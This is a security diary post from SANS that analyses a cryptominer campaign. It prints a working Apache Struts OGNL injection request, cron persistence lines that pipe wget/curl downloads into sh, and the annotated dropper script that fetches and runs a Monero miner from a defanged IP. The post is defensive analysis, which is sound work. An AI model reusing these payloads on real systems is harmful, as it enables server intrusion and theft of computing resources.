New and Improved Cryptominers: Now with 50% less Greed.

Published: 2018-06-28
Last Updated: 2018-06-28 16:01:02 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)

Cryptominers are still all the rage. I really wish that attackers would actually come up with a new scheme to make money so life will be more interesting. But then again, sometimes it is nice if security is a bit boring and not too exciting.

The latest cryptocoin miners I have seen try to make it a bit more difficult to detect them by being less greedy and not asking for all the CPU cycles at once. They also take better advantage of some newer CPU features like AES support.

This particular sample starts out, like so many of them, with a Struts exploit. I highlighted the "interesting" part in red below.

Host: [IP REMOVED]:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/9 * * * * wget -O - -q|sh\n*/10 * * * * curl|sh" | crontab -;wget -O - -q|sh').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}

As typical for these kinds of attacks, the attacker is adding a cron job for persistence:

*/9 * * * * wget -O - -q
*/10 * * * * curl

And the attacker is downloading and executing this file. As you probably guess, "font.jpg" is not an image. Instead, it is a little shell script. I added some comments to the script below.


# Define a couple variables

# rmove old copies

rm -rf /var/tmp/hfdncd
rm -rf /var/tmp/`echo $id1`.cf

# kill old copies and possibly competing miners (kind of lazy.. there are more)

ps auxf|grep -v grep|grep -v `echo $id2`|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep `echo $id1`|awk '{print $2}'|xargs kill -9

# check if "$id2" (fcgtnvb) is already running. If not, then download the '$id3' configuration file ( 

ps -fe|grep `echo $id2`|grep -v grep
if [ $? -ne 0 ]
echo "start process....."
chmod 777 /var/tmp/`echo $id2`.cf
rm -rf /var/tmp/`echo $id2`.cf
curl -o /var/tmp/`echo $id2`.cf hxxp://45. 227.252.250/static/`echo $id3`.cf
wget -O /var/tmp/`echo $id2`.cf hxxp://45. 227.252.250/static/`echo $id3`.cf
chmod 777 /var/tmp/`echo $id3`
rm -rf /var/tmp/`echo $id3`

# check if our CPU supports AES encryption features.

cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]

#if not, then download the "old" miner

curl -o /var/tmp/`echo $id3` hxxp://45. 227.252.250/static/`echo $id3`
wget -O /var/tmp/`echo $id3` hxxp://45. 227.252.250/static/`echo $id3`

# if it does, then download the miner with AES support

curl -o /var/tmp/`echo $id3` hxxp://45. 227.252.250/static/`echo $id3`_an
wget -O /var/tmp/`echo $id3` hxxp://45. 227.252.250/static/`echo $id3`_an
chmod +x /var/tmp/`echo $id3`
cd /var/tmp

# figure out how many CPU cores we have and divide the number by 2

proc=`grep -c ^processor /proc/cpuinfo`

# start the mining, and pass the configuration file as well as the number of threads we should use (which is set to half the CPU cores we have). Note that the CPU core calculation doesn't account for hyperthreading.

./`echo $id3` -c `echo $id2`.cf -t `echo $cores` >/dev/null &
echo "Running....."

The configuration file presents us with the stratum server and credentials used by this attacker (I added some spaces to allow the line to break):

    "url" : "stratum+tcp://",
    "user" : "G4zCtiWVg4xajdZrRVcLK5AmJA jFdnTWmUV9VUQCkpiN3v7vBcCui jYHp3LbqMA2EjCmWiD1anqC 714DyinRB5dnLjR6ss9",
    "pass" : "x",
    "algo" : "cryptonight-monero",
    "quiet" : true

This appears to be a private pool / proxy. The only reference to the IP I could find via passive DNS from Farsightsecurity is "" But that hostname now points to a different IP and appears to be not responsive. Running the pool on port 80, and using a non-standard pool makes it more difficult to identify the traffic as malicious. But note that no DNS lookup is necessary. Outbound connections to IPs that were not resolved via DNS is one signature that often leads to badness.

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute

0 comment(s)


Diary Archives